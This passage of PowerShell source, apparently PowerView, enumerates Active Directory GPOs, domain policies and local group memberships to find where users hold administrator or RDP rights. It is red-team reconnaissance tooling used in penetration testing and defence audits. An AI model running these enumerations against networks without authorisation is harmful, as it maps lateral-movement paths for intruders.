$GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID + $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof + $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members + $GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') + $GPOGroup + } + } + + # now try to the parse group policy preferences file (Groups.xml) if it exists + $ParseArgs = @{ + 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" + } + + Get-GroupsXML @ParseArgs | ForEach-Object { + if ($PSBoundParameters['ResolveMembersToSIDs']) { + $GroupMembers = @() + ForEach ($Member in $_.GroupMembers) { + if ($Member -and ($Member.Trim() -ne '')) { + if ($Member -notmatch '^S-1-.*') { + + # if the resulting member is username and not a SID, attempt to resolve it + $ConvertToArguments = @{'ObjectName' = $Groupname} + if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } + $MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member + + if ($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } + } + else { + $GroupMembers += $Member + } + } + } + $_.GroupMembers = $GroupMembers + } + + $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $_ | Add-Member Noteproperty 'GPOName' $GPOName + $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') + $_ + } + } + } +} + + +function Get-DomainGPOUserLocalGroupMapping { +<# +.SYNOPSIS + +Enumerates the machines where a specific domain user/group is a member of a specific +local group, all through GPO correlation. If no user/group is specified, all +discoverable mappings are returned. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup + +.DESCRIPTION + +Takes a user/group name and optional domain, and determines the computers in the domain +the user/group has local admin (or RDP) rights to. + +It does this by: + 1. resolving the user/group to its proper SID + 2. enumerating all groups the user/group is a current part of + and extracting all target SIDs to build a target SID list + 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling + Get-DomainGPOLocalGroup + 4. matching the target SID list to the queried GPO SID list + to enumerate all GPO the user is effectively applied with + 5. enumerating all OUs and sites and applicable GPO GUIs are + applied to through gplink enumerating + 6. querying for all computers under the given OUs or sites + +If no user/group is specified, all user/group -> machine mappings discovered through +GPO relationships are returned. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the user/group to identity GPO local group mappings for. + +.PARAMETER LocalGroup + +The local group to check access against. +Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), +or a custom local SID. Defaults to local 'Administrators'. + +.PARAMETER Domain + +Specifies the domain to enumerate GPOs for, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGPOUserLocalGroupMapping + +Find all user/group -> machine relationships where the user/group is a member +of the local administrators group on target machines. + +.EXAMPLE + +Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local + +Find all computers that dfm user has local administrator rights to in +the dev.testlab.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOUserLocalGroupMapping -Credential $Cred + +.OUTPUTS + +PowerView.GPOLocalGroupMapping + +A custom PSObject containing any target identity information and what local +group memberships they're a part of through GPO correlation. + +.LINK + +http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GPOUserLocalGroupMapping')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String] + $Identity, + + [String] + [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] + $LocalGroup = 'Administrators', + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $CommonArguments = @{} + if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } + } + + PROCESS { + $TargetSIDs = @() + + if ($PSBoundParameters['Identity']) { + $TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid + $TargetObjectSID = $TargetSIDs + if (-not $TargetSIDs) { + Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'" + } + } + else { + # no filtering/match all + $TargetSIDs = @('*') + } + + if ($LocalGroup -match 'S-1-5') { + $TargetLocalSID = $LocalGroup + } + elseif ($LocalGroup -match 'Admin') { + $TargetLocalSID = 'S-1-5-32-544' + } + else { + # RDP + $TargetLocalSID = 'S-1-5-32-555' + } + + if ($TargetSIDs[0] -ne '*') { + ForEach ($TargetSid in $TargetSids) { + Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'" + $TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid + } + } + + Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID" + Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs" + + $GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object { + $GPOgroup = $_ + # if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID + if ($GPOgroup.GroupSID -match $TargetLocalSID) { + $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { + if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { + $GPOgroup + } + } + } + # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs + if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { + if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { + $GPOgroup + } + } + } | Sort-Object -Property GPOName -Unique + + $GPOgroups | Where-Object {$_} | ForEach-Object { + $GPOname = $_.GPODisplayName + $GPOguid = $_.GPOName + $GPOPath = $_.GPOPath + $GPOType = $_.GPOType + if ($_.GroupMembers) { + $GPOMembers = $_.GroupMembers + } + else { + $GPOMembers = $_.GroupSID + } + + $Filters = $_.Filters + + if ($TargetSIDs[0] -eq '*') { + # if the * wildcard was used, set the targets to all GPO members so everything it output + $TargetObjectSIDs = $GPOMembers + } + else { + $TargetObjectSIDs = $TargetObjectSID + } + + # find any OUs that have this GPO linked through gpLink + Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object { + if ($Filters) { + $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname + } + else { + $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname + } + + if ($OUComputers) { + if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} + + ForEach ($TargetSid in $TargetObjectSIDs) { + $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' + + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOLocalGroupMapping = New-Object PSObject + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain + $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers + $GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping') + $GPOLocalGroupMapping + } + } + } + + # find any sites that have this GPO linked through gpLink + Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object { + ForEach ($TargetSid in $TargetObjectSIDs) { + $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' + + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOLocalGroupMapping = New-Object PSObject + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl + $GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping') + $GPOLocalGroupMapping + } + } + } + } +} + + +function Get-DomainGPOComputerLocalGroupMapping { +<# +.SYNOPSIS + +Takes a computer (or GPO) object and determines what users/groups are in the specified +local group for the machine through GPO correlation. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup + +.DESCRIPTION + +This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups +are in the specified local group for a target machine through GPO correlation. + +If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to +determine the OU the computer is a part of. Then resolve the computer's site name with +Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to +enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For +each resulting GPO group, resolve the resulting user/group name to a full AD object and +return the results. This will return the domain objects that are members of the specified +-LocalGroup for the given computer. + +Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and +localgroup specifications. + +.PARAMETER ComputerIdentity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for. + +.PARAMETER OUIdentity + +An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or +GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for. + +.PARAMETER LocalGroup + +The local group to check access against. +Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), +or a custom local SID. Defaults to local 'Administrators'. + +.PARAMETER Domain + +Specifies the domain to enumerate GPOs for, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local + +Finds users who have local admin rights over WINDOWS3 through GPO correlation. + +.EXAMPLE + +Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP + +Finds users who have RDP rights over WINDOWS4 through GPO correlation. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local + +.OUTPUTS + +PowerView.GGPOComputerLocalGroupMember +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GGPOComputerLocalGroupMember')] + [CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')] + Param( + [Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')] + [String] + $ComputerIdentity, + + [Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')] + [Alias('OU')] + [String] + $OUIdentity, + + [String] + [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] + $LocalGroup = 'Administrators', + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $CommonArguments = @{} + if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['ComputerIdentity']) { + $Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname' + + if (-not $Computers) { + throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name." + } + + ForEach ($Computer in $Computers) { + + $GPOGuids = @() + + # extract any GPOs linked to this computer's OU through gpLink + $DN = $Computer.distinguishedname + $OUIndex = $DN.IndexOf('OU=') + if ($OUIndex -gt 0) { + $OUName = $DN.SubString($OUIndex) + } + if ($OUName) { + $GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object { + Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } + } + } + + # extract any GPOs linked to this computer's site through gpLink + Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)" + $ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName + if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) { + $GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object { + Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value } + } + } + + # process any GPO local group settings from the GPO GUID set + $GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object { + $GPOGroup = $_ + + if($GPOGroup.GroupMembers) { + $GPOMembers = $GPOGroup.GroupMembers + } + else { + $GPOMembers = $GPOGroup.GroupSID + } + + $GPOMembers | ForEach-Object { + $Object = Get-DomainObject @CommonArguments -Identity $_ + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOComputerLocalGroupMember = New-Object PSObject + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Computer.dnshostname + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_ + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath + $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType + $GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGroupMember') + $GPOComputerLocalGroupMember + } + } + } + } + } +} + + +function Get-DomainPolicyData { +<# +.SYNOPSIS + +Returns the default domain policy or the domain controller policy for the current +domain or a specified domain/domain controller. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID + +.DESCRIPTION + +Returns the default domain policy or the domain controller policy for the current +domain or a specified domain/domain controller using Get-DomainGPO. + +.PARAMETER Domain + +The domain to query for default policies, defaults to the current domain. + +.PARAMETER Policy + +Extract 'Domain', 'DC' (domain controller) policies, or 'All' for all policies. +Otherwise queries for the particular GPO name or GUID. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainPolicyData + +Returns the default domain policy for the current domain. + +.EXAMPLE + +Get-DomainPolicyData -Domain dev.testlab.local + +Returns the default domain policy for the dev.testlab.local domain. + +.EXAMPLE + +Get-DomainGPO | Get-DomainPolicy + +Parses any GptTmpl.infs found for any policies in the current domain. + +.EXAMPLE + +Get-DomainPolicyData -Policy DC -Domain dev.testlab.local + +Returns the policy for the dev.testlab.local domain controller. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainPolicyData -Credential $Cred + +.OUTPUTS + +Hashtable + +Ouputs a hashtable representing the parsed GptTmpl.inf file. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([Hashtable])] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Source', 'Name')] + [String] + $Policy = 'Domain', + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $ConvertArguments = @{} + if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + $SearcherArguments['Domain'] = $Domain + $ConvertArguments['Domain'] = $Domain + } + + if ($Policy -eq 'All') { + $SearcherArguments['Identity'] = '*' + } + elseif ($Policy -eq 'Domain') { + $SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}' + } + elseif (($Policy -eq 'DomainController') -or ($Policy -eq 'DC')) { + $SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-00C04FB984F9}' + } + else { + $SearcherArguments['Identity'] = $Policy + } + + $GPOResults = Get-DomainGPO @SearcherArguments + + ForEach ($GPO in $GPOResults) { + # grab the GptTmpl.inf file and parse it + $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + + $ParseArgs = @{ + 'GptTmplPath' = $GptTmplPath + 'OutputObject' = $True + } + if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } + + # parse the GptTmpl.inf + Get-GptTmpl @ParseArgs | ForEach-Object { + $_ | Add-Member Noteproperty 'GPOName' $GPO.name + $_ | Add-Member Noteproperty 'GPODisplayName' $GPO.displayname + $_ + } + } + } +} + + +######################################################## +# +# Functions that enumerate a single host, either through +# WinNT, WMI, remote registry, or API calls +# (with PSReflect). +# +######################################################## + +function Get-NetLocalGroup { +<# +.SYNOPSIS + +Enumerates the local groups on the local (or remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function will enumerate the names and descriptions for the +local groups on the current, or remote, machine. By default, the Win32 API +call NetLocalGroupEnum will be used (for speed). Specifying "-Method WinNT" +causes the WinNT service provider to be used instead, which returns group +SIDs along with the group names and descriptions/comments. + +.PARAMETER ComputerName + +Specifies the hostname to query for sessions (also accepts IP addresses). +Defaults to the localhost. + +.PARAMETER Method + +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to a remote machine. Only applicable with "-Method WinNT". + +.EXAMPLE + +Get-NetLocalGroup + +ComputerName GroupName Comment +------------ --------- ------- +WINDOWS1 Administrators Administrators have comple... +WINDOWS1 Backup Operators Backup Operators can overr... +WINDOWS1 Cryptographic Operators Members are authorized to ... +... + +.EXAMPLE + +Get-NetLocalGroup -Method Winnt + +ComputerName GroupName GroupSID Comment +------------ --------- -------- ------- +WINDOWS1 Administrators S-1-5-32-544 Administrators hav... +WINDOWS1 Backup Operators S-1-5-32-551 Backup Operators c... +WINDOWS1 Cryptographic Opera... S-1-5-32-569 Members are author... +... + +.EXAMPLE + +Get-NetLocalGroup -ComputerName primary.testlab.local + +ComputerName GroupName Comment +------------ --------- ------- +primary.testlab.local Administrators Administrators have comple... +primary.testlab.local Users Users are prevented from m... +primary.testlab.local Guests Guests have the same acces... +primary.testlab.local Print Operators Members can administer dom... +primary.testlab.local Backup Operators Backup Operators can overr... + +.OUTPUTS + +PowerView.LocalGroup.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroup.WinNT + +Custom PSObject with translated group property fields from WinNT results. + +.LINK + +https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LocalGroup.API')] + [OutputType('PowerView.LocalGroup.WinNT')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = $Env:COMPUTERNAME, + + [ValidateSet('API', 'WinNT')] + [Alias('CollectionMethod')] + [String] + $Method = 'API', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + ForEach ($Computer in $ComputerName) { + if ($Method -eq 'API') { + # if we're using the Netapi32 NetLocalGroupEnum API call to get the local group information + + # arguments for NetLocalGroupEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the local user information + $Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how much to increment the pointer by finding out the size of the structure + $Increment = $LOCALGROUP_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $LOCALGROUP_INFO_1 + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $LocalGroup = New-Object PSObject + $LocalGroup | Add-Member Noteproperty 'ComputerName' $Computer + $LocalGroup | Add-Member Noteproperty 'GroupName' $Info.lgrpi1_name + $LocalGroup | Add-Member Noteproperty 'Comment' $Info.lgrpi1_comment + $LocalGroup.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.API') + $LocalGroup + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "[Get-NetLocalGroup] Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + else { + # otherwise we're using the WinNT service provider + $ComputerProvider = [ADSI]"WinNT://$Computer,computer" + + $ComputerProvider.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { + $LocalGroup = ([ADSI]$_) + $Group = New-Object PSObject + $Group | Add-Member Noteproperty 'ComputerName' $Computer + $Group | Add-Member Noteproperty 'GroupName' ($LocalGroup.InvokeGet('Name')) + $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalGroup.InvokeGet('objectsid'),0)).Value) + $Group | Add-Member Noteproperty 'Comment' ($LocalGroup.InvokeGet('Description')) + $Group.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.WinNT') + $Group + } + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Get-NetLocalGroupMember { +<# +.SYNOPSIS + +Enumerates members of a specific local group on the local (or remote) machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Convert-ADName + +.DESCRIPTION + +This function will 